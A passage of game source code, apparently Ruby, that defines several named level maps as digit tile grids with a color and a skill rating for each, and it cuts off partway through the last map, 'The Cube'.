Map.new(\n name: 'Moonlit Woods',\n data: 'color_944d94-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000440000000000000000000_00000000000000000000000000000000000000000000000000000000044440000000000000000000_00000000000000000000000000000000000000000000000000000000004140000000000000000000_00000000000000000000000000000000000000000000000000004400000110000000000000000000_00000000000000000000000000000000000000000000000000000440000510000440000000000000_00000000000000000000000000000000000000000000000000000444000510000444000000000000_00000000000000000000000000000000000000000000000000000411000010000410000000000000_00000000000000000000000000000000000000000000000000000441100010000114400000000000_00000000000000000000000000000000000000000000000000000000110010001100000000000000_00000000000000000000000000000000000000000000000004440000110011001000000044440000_00000000000000000000000000000000000000000000000000144000011001011000000444440000_00000000000000000000000000000000000000000000000000104000011101110000000014400000_00000000000000000000000000000000000000000000004040114400051155100000001114000000_00000000000000000000000000000000000000000000000111114400005155150001111000000000_00000000000000000000000000000000000000000000000004111000000151151111000004440000_00000000000000000000000000000000000000000000000004011110000001151110000000140000_00000000000000000000000000000000000000000000000000040111000001100000000001140000_00000000000000000000000000000000000000000000000444000011110001110000011111000000_00000000000000000000000000000000000000000000044444000001111000110000111100000000_00000000000000000000000000000000000000000000000011000044011110110111110000004000_00000000000000000000000000000000000000000000000441100000001110110111100000044400_00000000000000000000000000000000000000000000000001111000000110110110000041444140_00000000000000000000000000000000000000000000000000111100000000110000000441011100_00000000000000000000000000000000000000000000000000111100000000110000004011110000_00000000000000000000000000000004440000000000000001100111111101111000001111114440_00000000000000000000000000000044400000000000000011500011111101111011111110011140_00000000000000000000000000000444000000000000000000500005151101111011111150050000_00000000000000000000000000000444000000000000000000500000050001111011550050000000_00000000000000000000000000000444000000000000000000000000000001111000500000000000_00000000000000000000000000000444000000000000000000000000000001111000000000000000_00000000000000000000000000000044400000000000000000000000000001101100000000000000_00000000000000000000000000000004440000000000000000000000000001130000000000000000_00000000000000000000000000000000000000000000000000000000000001111000000000000000_00000000000000000000000000000000000000000000000000000000000001111000000000000000_00000000000000000000000000000000000000000000000000000000000001111000000000000000_00000000000000000000000000000000000000000000000000000000000001111000000000000000_00000000000000000000000000000100000000000000000000000000000001111000000000000000_00000000000000001000000000000110000000000100000000000000010001111100000100101000_00000000000000001100010010101111010001010110000010000100010101111110010110101001_00000000000100011100010111101111010011111110000011001110111151111111111111111011_00000000001100011110110111111111111011111110000011001110111111111111111111111111_00000000011100011110111111111111111111101111000011101111111111111511111111111101_00000000011100111111111111101111111111111111000011111111111111111111111511111111_00000000111110111010110111111101111111110111000111111111115111111111111111111111_00000000101110111110111111111111111111111111100111111111111111111111111111111111_00000000111110001000010010100111010111111111000011110105111111111515511515111010_00000000001000501050010515150101010001010010055551515155515151111515515515151510_02000055551555551555515515155151515551515515555551515155515151111115515515151515_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 10,\n ),\n Map.new(\n name: 'Egypt Pyramid',\n data: 'color_ff8844-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000044400000000000000000000000000000000000000_00000000000000000000000000000000000004444444000000000000000000000000000000000000_00000000000000000000000000000000000044444444400000000000000000000000000000000000_00000000000000000000000000000000000044444444400000000000000000000000000000000000_00000000000000000000000000000000000444444444440000000000000000000000000000000000_00000000000000000000000000000000000444444444440000000000000000000000000000000000_00000000000000000000000000000000000444441444440000000000000000000000000000000000_00000000000000000000000000000000000044411144400000000000000000000000000000000000_00000000000000000000000000000000000044111114400000000000000000000000000000000000_00000000000000000000000000000000000001114111000000000000000000000000000000000000_00000000000000000000000000000000000011144411100000000000000000000000000000000000_00000000000000000000000000000000000111000001110000000000000000000000000000000000_00000050000000000000000000000000001110000000111000000000000000000000000000000000_00000555000000000000000000000000011100000000011100000000000000000000000000000000_00005555500000000000000000000000111000111110001110000000000000000000000000000000_00055000550000000000000000000001111000111110001111000000000000000000000000000000_00550000055000000000500000000011141000015100001411100000000000000000000000000000_05500000005500000005050000000111440000015100000441110000000000000000000000000000_55000000000550000050005000001114400000010100000044111000000000000000000000000000_50000000000055000500000500011144000000010100000004411100000000000000000000000000_00000000000005505000000000111440000000010100000000441110000000000000000000000000_00000000000000550000000001114400001001110111001000044111000000001000000001000000_00000000000000055000000011144000011101000101011100004411100000011100000011100000_00000000000000005500000111140000011111010101111100000411110000011100000011100000_00000000000000000550001111100004411144010104411144000011111000011100000011100000_00000000000000000000011111100004411144010104411144000011111100011100000011100000_00000000000000000000111411100001111111010101111111000011141115511100000011100000_00000000000000000001114411100001111111010101111111000011144111511100000011100000_00000000000000000011144010000004411144010104411144000000104411111100000011100000_00000000000000000111440010100004411144010104411144000010100441111100000011100000_00000000000000001114400010100000011100010100011100000010100044111100000011100000_00000000000000011144000000100000011101110111011100000010000004411100000011100000_00000000000000111140000011100000011101110111011100000011100000411110000011100000_00000000000001111100000011100000011100010000011100000011100000011111555511150000_00000000000011111100000011100000011100010100011100000011100000011111155511155000_00000000000111411111100011100011111101110111011111100011100011111111111111111100_00000000001114411111100011100011111101500051011111100011100011111111111111111100_00000000011144000001100011100011000001500051000001100011100011000000000000001100_00000000111440000000000011100000000001500051000005500011100000000000000000000000_02000001114400011100000011100000000001503051000055500511150000011111111111100000_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 12,\n ),\n Map.new(\n name: 'The Cave',\n data: 'color_7a7a94-00000000000000000000000011111111111111111111111111111111111111111111111111111111_00000000000000000000001111111111111111111111111111111111111111111111111111111111_00000000000000000111111111111111111111111111111111111111111111111111111111111111_00000000000000001111111111111111111111111111111111111111111111111111111111111111_00000000000000011111111111555111111111111111111111111111111111111111111111055111_00000000000000011115511155055100000100011111111111111111111100000000000000005511_00000000000000055000500000000000000000000000001000001000011001111111111110000511_00000000000000050000000000000000000000000000001000100000000011111111111111100011_00000000000000000000001000000000500000000000000000100000000111111111111111100111_00000000000000000000011000000005500100000051500000110015000011111111111111100111_00000000000111111111111111111111511111111111111101111111110001111111111111110111_02000011111111111111111111111111111111111111111101111111111000000111111111110111_11111111111111111111111111111111111111111111111101111111111110000000000051110111_11111111111111111111111111111111111111111111111101111111111111111111110555110111_11111111111111111111111111111111111111111111111101111111111111111111111155110111_11111111111111111111111110000001111111111111111101111100011111111111111151110111_11111111111111111111111114000001111111111111111101111001001111110111111111110111_11111111111111111111111114444001111111111111111101111001100001110001111111110111_11111111111111111111111114444400000000000100100000011011111100111110011111110111_11111111111111111111111114444001111111110000000400011011111110011111011111110111_11111111111111111111111114444441111111111444444444411011111110001111100111110111_11111111111111111111111111111111111111111111144414411011111110001111110011100111_11111111111111111111111111111111111111111111111111111011100000000000000000000111_11111111111111111111111111111111111111111111111111111011011111111111111111100111_11111111111111111111111111111111111111111111111111111000111111111111111111001111_11111111111111111111111111111111111111101111111111111101111111111111111100111111_11111111111111111111111111111111111111011111001111111100111111111111100011111111_11300001111111111111111111111111111110011111100111111101111111111155001111111111_11111101111111111111111111111111111111011111110111111101111111115511111111111111_11111100000000000000000000000000000000011111110111111101111111155511111111111111_11111111111110011111111111111111100111000111110111111101111111151111111111111111_11111111501111011111111111111111111111110001110111111101111111155511111111111111_11111155511111000011111111111111111111111000000111111101111111111551111111111111_11111551111111110011111111111111111111111011111111111101111111111111111111111111_11111511111111110511111111111111111111111011111111111101111111111111111111111111_11111111111111105551111111111110000000000000511111111101111111111111111111111111_11111111111111105555111111111000111111111111155011111101111111111111111111111111_11111111111111155555111111111001111111111111111151111101111111111111111111111111_11111111111111111111111111110011111111111111111551111101111111111111111111111111_11111111111111111111111111110111111111111111111151111101111111111111111111111111_11111111111100000110011111110111111111111111111111111101111111111111111111111111_11111111111100000000000011110111115111111111111111111101111111111111111111111111_11111111111044400000000011110111551111111111111111111101111111111111111111111111_11111111111444440000000000000000011111111111111111111501111111111111111111111111_11111111111444444400511111110111111111111111105115115505111151111111111111111111_11111111111111111111111111110111111115555111500150555505555551511115111111111111_11111111111111111111111111110111111115550511000150005500550051551105511111111111_11111111111111111111111111110111111115000051000500000500500051500100515111111111_11111111111111111111111111000111111110000051000500000000500005000000510511111111_11111111111111100000000000000000000000000005000000000000500005000000010511111111_11111111111111110011111111111111111000000005000000000000000000000000050011111111_11111111111111110111111111111111111000000000000000000000000000000000050011111111_11111111111111100111111111111111111000000000000000000000000000000000000011111111_11111111111111101111111115555511111100000000000000000444000000000000000001111111_11111111111111101111111111111551111110000000000000004444400000000000000000111111_11111111111111101111111111111151111111000000000000044444444000000000010005111111_11111111111111110005011111111151111111000000000000044444444440000001010005511111_11111111111111111111050050555551111111111001111104444111144444010001510055111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 13,\n ),\n Map.new(\n name: 'Cyberpunk Ruins',\n data: 'color_3399aa-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000111111110000000000000000000000000000_00000000000000000000000000000000000000000000000000100000000000000000000000000000_00000000000000000000000000000000000000111111111111111000000000000000000000000000_00000000000000000000000000000000000000010000000000000000000000000000000000000000_00000000000000000000000000000000000011111111111111111111000000000000000000004000_00000000000000000000000000000000000000010001000000100100000000000000000000044000_00000000000000000000000000000000011111110111111111110111111000000000000000044000_00000000000000000000000000000000000000010000000000000100000000000000000000044000_00000000000000000000000000000000000111110111111111110111000000000000000000044000_00000000000000000000000000000000000001110111000000010100000000000000000000011000_00000000000000000000000000000000000011110111100001110111000000000000000000011000_00000000000000000000000000000000000001500051000000114110000000000000000000011000_00000000000440000000000000000000000011103011100000114110000000000000000000111000_00000000000000000000004400000000000000111110000000114100000000000000000001111000_00000000000000000000000000000000000000044400000000114000000000000000000001111000_00000000000000000000000000000000000000000000000000114010000000000000000001111000_00000002000000000000000000004400000000000000000000104110000000000000000001001000_00000011111111111110000000000000000000000000000000014110000000000000000111111110_00000000111111110010000000000000000000000000000000114110000000000550000111001110_00000001111111111110000000000000000000000000000000114110000001111111111111111110_00000011111111110010000000000000001111111110000001114111000001144444444111001110_00000111111011111110000000000000001001100111000000010100000001100000000111111110_00001111111111110010000000000000001111111111100000010111114411100000000001001100_00011111111111110000000000000000001001111111110000010100000001100000000001001100_00111111111110010000000000000000000001111111111000010111144111100000000001001100_00111111111111110000000000000000000001111110011000010100000001100000000001001100_00110011111111110000000500000000000001111111111000010111441111100000101111111111_00111111111111110000005500000500001001101110011551010100000001100000100001001100_00110011111111111111111111111111111111111111111111011114411111100000110111111111_00111111111110010015555555555555001001111111011001010100000001100000110001001100_00111111111111111110050505555500001111111111111111011111441111100000111011111110_00111111111110010010050000550000001001111111011001010100000000000000111001001100_00111111111111110000000000500000001111111111111111011111144111110000111101111110_00110111101111110000000000500000051001101111111001010100000000000000100101001100_00111111111111110000000000000000051111111111111111010111114411111000111101111110_00111111111111110000000000000005551001100000011001010000000000000000100101001100_00111144444444111111111111111111111111111111111111011111111111111111111101111111_00111111111144111114440000000005551001100000000001000000000001100000100101001111_00111111111144110014400000000000551111100111111141011111114411114400000101111100_00111111110044111114000000000000051441100000011001005100000001100000000001001111_00110011110111110010000000000000051141110011111001005111144111111440000001111100_00111111110111111110000000000000001441100000011001005100000001100000000001001111_00000000000100110010000000000000000441111001111411011111441111111144000000111100_11111011111111111110000000000000000441100000011001000100000001100000000000001111_11111001111111110010000000000000000441111100111001000114411111111114400000011100_00110000000010110000000000000000000441100000011001000100000001100000000001001111_11110000000011110000000000000055000441111110011004000100000001100000000101001100_00110000000010110000000000055550000441100000011001000000000001100000000101001100_11111111110111111011111111111111111111111111011111111111111111111111111111101111_00110000000011000010000005555000001001100000011111000000000001100000011111101111_11110000000000011110000055000000001111104444000001000000000004400000000101001100_00110000000000110010005550000000001001100000011000000055000001100000000000001100_11111111111111111110055000000000001111111111111111111111111111111111111111111100_11111111101000110010000000000000001001111111111001000000000001100000000001001100_00110000000000110000000000000000000001111111111001000000000001100000000001001100',\n skill_mean: 15,\n ),\n Map.new(\n name: 'Steamport Town',\n data: 'color_ffbd7d-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000110011111111110000000000000440000000000001110000000000000000_00000000000000000001111115555555111000000000000110000000000011111000000000000000_00000000000000000001111111111111111000000000011111100000000111511100000000000000_00000000000000000000110011111111114000000000044114400000000111151100000000000000_00000000000000000000000000000110000400411111114114111111100111151100000000000000_00000000000000000000000000000000000044000000044114400000000111151100000000000000_00000000000000000000000000000000000000000000011111100000000011111000000000000000_00000000000040000000000000000000000000000000044114400000000041110000000000000000_00000000000010000000000000000000011100001111114114111111400400100000000000000000_00000000000014000000000000000000111110000000044114400000044001110000000000000000_00000000000011000000000000000001115111000000011111100000000001110000000000000000_00000000000011000000000000000001111511000000011111100000000000000000000000000000_00000000000011000000000000000001111511000001115115111000000000000000000000000000_00000000000010000000000000000001111511000001111111111000000000000000000000000000_00000000000010000000000000000000111110000000011111100000000000000000000000000000_00000000000010000000000000000000011140000000011111100000000000000000000000000000_00000000000114000000000000000000001004000000044114400000000000000000000000000000_00000000000114400000000000000000011100400411114114111100000000000000000000000000_00000000001111440000000000000000011100044000044114400000000000000000000000000000_00000000011111140000000000000000000000000000011111100000000000000000000000000000_00000000111001110000000000000000000000000000011111100000000000000000000000000000_00000001110000110000000000000000000000000000111111110000000000000000000000000000_00000011140000110000000000000000000000000001111111111000000000000000000000000000_00000111440000110000000000000000000000000001100000000000000000000000000000000000_00001110440000110000000000000000000000000001104440111100000000000000000000000000_00011100440000110000000000000000000000000001104440011000000000000000000000000000_00111000440000110000000000000000000000000001104444011000000000000000000000000000_00110000440000110000000000000000000000000001104444011000000000000000000000000000_02114000440000110000000000000000000000000001104444011000000000000000000000000000_01111100440000110000000000000000000000000001100000011000000000000000000000000000_01111111111100110000000000000000000400000011101111011100000000000000000000000000_00110000000000110000000000000000000100000111100110011110000000000000000000000000_00110000000000110000000000000000004140000111110110111110000000000000000000000000_00110000000000110000000000000000001110000001100110011000000000000000000000000000_00110000000000110000000000000000041114000001100000011000000000000000000000000000_00110000440000110000000000000000411111400001104444011000000000000000000000000000_00110000440000110000000000000004111111140001104444011000000000000000000000000000_00110000440000114000000000000001111111110001104444011000000000000000000000000000_00110000440000114000000000000000000000000001104444011000000000000000000000000000_00110001111111111000000000000000011111000001104444011000000000000000000000000000_00110000000011111000000000000000011111000001104444011000000000000000000000000000_00110000000000110000000000000000011441000001100000011000000000000000000000000000_00110000000000110000000000000000011441000001101111011000000000000000010000000000_00110000440000110000000000000000011441000001101111011000000000000000111000100000_00110000440000110000000000000000011441000001101111011000000000001000011101110000_01111100440000110000000000000000011441000001100000011000000000011100011100111000_01111111111000110000000000000000011441000111101111011110000000001100011100111000_00110000000000110000000000000000011441000111101111011110000000001100011100111000_00110000000000110000000000000000011000000411101111011140000000001100011000110000_00110000440000114404404404404404411000000441100000011440000000001100011000110000_00110000440011111111111111111111111011111111111011111111111100001000010000100000_00110011111111111111111111111111111011111111111011111110000000111000010000100300_00110000000000111111000000000111111400111111100011111100000000111444414441111110_00110000000000111100000000000001111410011111001011111000000000111111111111111000_01111100440000111000000000000000111411001110011011111555555555111111111111115555_01111111111000110000000000000000011411104140111011011555555555551111111111155555_00440000000000000011000000000110000000004440000000011555555555555555555555555555_11111111111111111111000000000111111111111111100000011111111111111111111111111111',\n skill_mean: 16,\n ),\n Map.new(\n name: 'Find the Dragon',\n data: 'color_ccff99-00000000000000000000000000000000000000000111111111111111111111111111111111111111_00000000000000000000001111110000000000000111111000000550000001111111111111111111_00000000000000000000011111100000000000001111111000000550000001111111111111111111_00000000000000000000111111000000010000011111111000000550000001111110111111111111_00000000000000000000111110000001111000111111111000000550000001111100010101111111_00000000000000000000011111000111010001110000000000005555000000000000000000111111_00000000000000000011001111111100000001100111111000000000000001111111000000111111_00000000000000000111111111110000000011001111111000000000000001111111111100001111_00000000000000000111111111000000000110011111111000005555000001111111111111000011_00000000000000000000010111000000000000111111110000000550000000011111111111100051_00000000000000000000000101300111111111111111110111111111111111011111111111110001_00000000000000000000111111111111111111111111110111111111111111011111111111111001_00000000000000000000001111111111111111111400000011111111111110000004111111110001_00000000000000000000000001111111111111111444400411111111111110004044111100010011_00000000000000000000000000000001111111111444444411111111111114444444111101000011_00000000000000000000000000000000011011111111111111111110001111111111111101100011_00000000000000000000000000000000001011111111111111001000000011111111111100150111_00000000000000000000000000000000000010001111111110000000000000111111111110111111_00000000000000000000000000000000000000000111111000000000000000010001111110111111_00000000000000000000000000000000000000000011000000000000000000010001101110011111_00000000000000000000000000000000000000000011000000000000000000000000101111001111_00000000000000000000000000000000000000000010000000000000000000000000000111001111_00000000000000000000000000000000000000000000000000000000000000000000000111000511_00000000000000000000000000000000000000000000000000000000000000000000000011000051_00000000000000000000000000000000000000000000000000000000000000000000000011100001_00000000000000000000000000000000000000000000000000000000000000000000000001100001_00000000000000000000000000000000000000000000000000000000000000000000000001100001_00000000000000000000000000000000000000000000000000000000000000000000000001110001_00000000000000000000000000000000000000000000000000000000000000000000000001110001_00000000000000000000000000000000000000000000000000000000000000000000000000155001_00000000000000000000000000000000000000000000000000000000000000000000000000115001_00000000000000000000000000000000000000000000000000000000000000000000000000015001_00000000000000000000000000000000000000000000000000000000000000000000000000010001_00000000000000000000000000000000000000000000000000000000000000000000000000010001_00000000000000000000000000000000000000000000000000000000000000001010000000010001_00000000000000000000000000000000000000000000000000000000000000011110000000011001_00000000000000000000000000000000000000000000000000000000000000110110000000001001_00000000000000000000000000000000000000000000000000000000000000111110000000001001_00000000000000000000000000000000000000000000000000000000001000000110100000001001_00000000000000000000000000000000000000000000000000000000001100111110110000001001_00000000000000000000000000000000000000011444400000000000000110001100110000011001_00000000000000000000000000000000000001111111140000000000000011111111110000010001_00000000000000000000000000000000000111111111140000000000000001101100110000110011_00000040000000000000000000000000000111111000040000000000000000001100110000110051_10000444000400000000000000000000001111110000040000000000000000011110110001110001_11000444000440000010000000000000011111100000040000000000000000011110000011111001_11100040004444000111000000000000011111100000040000000000000000111111100111110001_11111040000444001111100000000001111111100000040000000000000011111111111111100001_11111140000040011111110000000011111111100000040000000000001111111111111111100111_11111110000040001404100000001111111111100000040000000000001111111111111111100011_11111111100040001020000000111111111111100000040000000000011111111111111111100001_11111111111111111111111111111111111111100000000000000001111111110551151111110001_11111111111111111111111111111111111111100000040000000111111111000051051051111001_11111111111111111111111111111111111111100000000000000011111111050000050001000001_11111111111111111111111111111111111111100000040000000001111110050000000000000011_11111111111111111111111111111111111111100000000000000001111111550000000011100001_11111111111111111111111111111111111111110000040000000001111111155000011111115001_11111111111111111111111111111111111111114444444444444444441144111444111111111111_11111111111111111111111111111111111111111444444444444444444444444411111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 19,\n ),\n Map.new(\n name: 'Star Hopping',\n data: 'color_a3a3cc-00000000000000000000055500000000044444440000000000000000000000000000000000000000_00000000000000000055511115000004444444440000000000000000100000000000000000000000_00000000000000005511111111110444440044440000000000000000000000000000000000010000_00000300000000051111111111111144000044400000000000000000000000000000000000000000_00001110000000511111011111111110000044400000000000000000000000000000000000000000_00011111000005111111111001111111000444000000000000000000000000000001000000000000_00111111100001111011110000111111100444000000000000000000000000000011100000000000_00111111100051110011111001111111104440000000000000000000000000000001000000000000_00011111000011111111111111110011114440000000000000001000000000000000000000000000_00001110000011111111111111110111144400000000000000011100000000000000000000000000_00101010100011111111011111111111444400000000000000001000000000000000000000000000_00111111100111101111111111111114444000000001000000000000000000000000000010000000_00110001100111111111111111111144441000000000000000000000000000000000000111000000_00100000100111111111111111111144411000000000000000000000000000000000000010000000_00100000100111111111111111111444111000000000000000000000000000000000000000000000_00000000000011111111111111114444110000000000000000000000000000000000000000000000_00000000000011111111111111144441110000000000000000000000000000000000000000000000_00000000000011111111111111444411110000011000000000000000000010000000000000000000_00000000000001111111111114444111100000111100000000000000000111000000010000000000_00000000000041111111111144441111100000111100000000000000000010000000000000000000_00000000000444111111114444411111000000011000000000000000000000000000000000000000_00000100004440011111144444111110000000000000000000000010000000000000000000000000_00001110044400001111444411111100000000000000000000000111000000000000000000000000_00000100044000000144444111110000000000000000000000000010000000000000000000000000_00000000444000004444441110000000000010000000000000000000000000000000000000001000_00000000444004444444400000000000000000000000000000000000000000000100000000000000_00000004444444444440000000000000000000000000000100000000000000001110000000000000_00010004444444440000000000000000000000000000000000000000000000000100000000000000_00111000444400000000000011100000000000000000000000000010000000000000000000000000_00010000000000000000000111110000000000000000000000000000000000000000000000000000_00000000000000000000001110111000000000000000000000000000000000000000001000000000_00000000111000000000001111101000000000000000000000000000000000000000011100000000_00000001110100000000001111111000000000000000000000000000000000000000001000000000_00000001111100000000000111110000000000000000000000000000000000000000000000000000_00000001111100000000100011100000000000000000000000000000000000000000000000000000_00000000111000000001110000000000000000000000001000000000000000100000000000000000_00000000000000000000100000000000000000000000011100000000000001110000000000000000_00000000000000000000000000000000000000000000001000000000000000100000000000000000_00000000000000000000000000000000000000010000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000111000000000000000000000000_00000000000000000000000000000000000000000000000000011111110000000000000000000000_00000000000000000000000000000000000000000000000000111111111000000000000000000000_00000000000000000000000000000000000000000000000001111011111100000000000000000000_00000000000000000000000000000000000000000000000001111111111100000000000000000000_00100000000000000000000000000000000000000000000011101111111110000000000000000000_00000000000000000000000000000000000000000000000011111111111110000000000000000000_00000000000010000000000000000000000000000000000011111111111110000000011000000000_00000000000111000000000000000000000000000000000001111111111100000000111100000000_00000000001111100000000000000000000011000000000001111011111100000000111100000000_00000000000100000000000000000000000110100000000000111111111000000000011000000000_00000000000120111100000000000000000111100000000000011111110000000000000000000000_00000000000111111111100011000000000011000000000000000111000000000000000000000000_00000000011111111111111011111000000000000000000000000000000000000000000000000000_00000000111111111111011101110000000000000000011000000000000000000000000000000000_00000001111110111111111110110000000000000000111100000000000000000000000000000000_00000011111111111111110111100000000000000000111100000000000000000000000000000000_00000011111111111111111111000000000000000000011000000000000000000000000000000000_00000111111111111111111111100000000000000000000000000000000000000000000000000000_00000111111111111110111111100000000000000000000000000000000000000000000000000000',\n skill_mean: 22,\n ),\n Map.new(\n name: 'Shadow of Valus',\n data: 'color_ffeecc-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000050000000000000000000000000000000000000_00000000000000000000000000000000500000000010000000000000000000000000000000000000_00000000000000000000000000000000100000001010500000000000000000000000000000000000_00000000000000000000000000000010100000011110100000000000000000000000000000000000_00000000000000000000000000000011111111111111100000000000000000000000000000000000_00000000000000000000000000000111111111111111111000000000000000000000000000000000_00000000000000000000000000101111111111111111111111000000000000000000000000000000_00000000000000000000000000111111111111111111111111100000000000000000000000000000_00000000000000000000000000111111111111111111111111111100000000000000000000000000_00000000000000000000000001111111111111111111111111111111100000000000000000000000_00000000000000000000000011111111111111111111111111111111111500000000000000000000_00000000000000000000000011111111111111111111111111111111110000000000000000000000_00000000000000000000000111111111111111111111111111111111110000000000000000000000_00000000000000000000000111111111111111111111111111111111111000000000000000000000_00000000000000000000000111111111111111111111111111111111111000000000000000000000_00000000000000000000000111111111111111111111111111111111111100000000050000000000_00000000001000000000000111111111111111111111111111111111111111000000010500000000_00000000000000000000000011111111111111111111111111111111111111111000010100000000_00000000000000000000000011111111111111111111111111111111111111111110011100000000_00000000000000000000000001111111111111111111111111111111111111111111011110000000_00000000000000000510000001111111111111111111111111111111111111111111111111000000_00000000000000000011000001111111011111101111111111111111111111111111111111100000_00000000000000000010000000111111111111111111111111111111111111111111111111100000_00000000000000000000000000111111111111111111111111111111111111111111111111110000_00000000000000000000000000111111111111111111111111111111111111111111111111110000_00000000000000000000001000111111111111111111111111111111111111111111111111110000_00000000100000000000000000111111111111111111111111111111111111111111111111110000_00000000000000000000000000411111111111111111111111111111111111111111111111115000_00000000000000000000000000411111111111111111111111111111111111111111111111115000_00000000000000000000000000041111111111111111111111111111111144411111111111115000_00000000000000000001000000041111111111111111111111111114444444441111111111110000_00000000000000000001100000004411111111111111111111111114000000004111111111110000_00000000000000000005100050000441111111111111111111111300000000000441111111110000_00110000000000000005100005000411111111111111111111111110000000000041111111100000_00111000000000000005000000000111111111111111111111111111000000000011111111110000_00511000000000000000000000000111111111111111111111111111100000000011111111110000_00015000000010000000000000001111111111111111111111111111100000000001111111100000_00010000000000000000000001111111111111111111111111111111100000000011111111110000_00000000000000000000000000111111111111111111111111111111100000000001111111100000_00000000000000000000000001111111111111111111111111111111100000000011111111100000_00000000000000000000000011111111111111111111111111111111100000000111111111100000_00000000000000000000001111111111111111111111111111111111100000011111111111110000_00000000000000000000000111111111111111111111111111111111110000011111111111110000_00000000000000000000000111111111441111111111111111111111110000111111111111111000_00000000000001111000000111111111444111111111111111111111110000111111111111111000_00000000000005110000001111111110004111111111110111111111110000111100111111111000_00000000000000510000001111111111004111111111000111111111110000111100111111111000_00000000000000010000001111111111004111111110000111111111110000111001111111111000_00000000000000000000001111111111004111111110000111111111110000011111111111110000_00000000000000000000001111111111001111111110000011111111100000000111111111100000_00000000000000000000000111111111001111111100000011111111100000000111111111000000_00000000000000000000000111111111001111111000000011111111100000000001111110000000_00000021100000000011000011111100001111111000000001111111110000000000000000000000_00000111000000000050000000000000011111111000000001111111110000000000000000000000_00000101000005500000050000000000011111111000000000111111111000000000000000000000_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 25,\n ),\n Map.new(\n name: 'The Cube',\n data: 'color_d2eed7-11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111110001000111111000000001111110000000011111100000000111111000000021_11111111111111110101010111111000000001111110000000011111100000000111111000000001_11111111111111110101010111111005555001111110055550011111100000000111111004444001_11111111111111114141414111111005555001111110055550011111100000000111111004444001_11111111111111114141414111111005555001111110055550011111100004444111111004444001_11111111111111110101010111111005555001111110055550011111100004444111111004444001_11111111111111110101010111111000000001111110000000011111100004444111111000000001_11111111111111130100010111111000000001111110000000011111100004444444000000000001_11111111111111111111110111111111111111111111111111111111111111114444000011111111_11111111111111100044000111111111111111111111111111111111111111114444000011111111_11111111111111101111111111111111111111111111111111111111111111114444000011111111_11111111111111100044000111111111111111111111111111111111111111110000000011111111_11111111111111111111110111111111111111111111111111111111111111110000000011111111_11111111111111100044000111111111111111111111111111111111111111110000000011111111_14444444411111101111111111111000000001111110000000011111100000000000000000000001_14411114411111100044000111111000000001111110000000011111100000000111111000000001_14111111411111111111110111111005555001111110044440011111100000000111111000000001_14151151411111100044000111111005555001111110044440011111100000000111111000000001_14111111411111101111111111111005555001111110044440011111100005555111111000055551_14114411411111100044000111111005555001111110044440011111100005555111111000055551_14444444411111111111110111111000000001111110000000011111100005555111111000055551_14444444000000000000000111111000000000000000000000011111100005555555000000055551_11111111000000001111111111111111111100000000111111111111111111115555000011111111_11111111000000001111111111111111111100444400111111111111111111115555000011111111_11111111000000001111111111111111111100444400111111111111111111115555000011111111_11111111000000001111111111111111111100444400111111111111111111110000000011111111_11111111000000001111111111111111111100444400111111111111111111110000000011111111_11111111000000001111111111111111111100000000111111111111111111110000000011111111_11111111000000000000000111111000000000000000000000011111111111110000000000055551_11111111111111100000000111111000000001111110000000011111111111111111111000055551_11111111111111100000000111111004444001111110000000011111111111111111111000055551_11111111111111100000000111111004444001111110000000011111111111111111111000055551_11111111111111100005555111111004444001111110000555511111111111111111111000000001_11111111111111100005555111111004444001111110000555511111111111111111111000000001_11111111111111100005555111111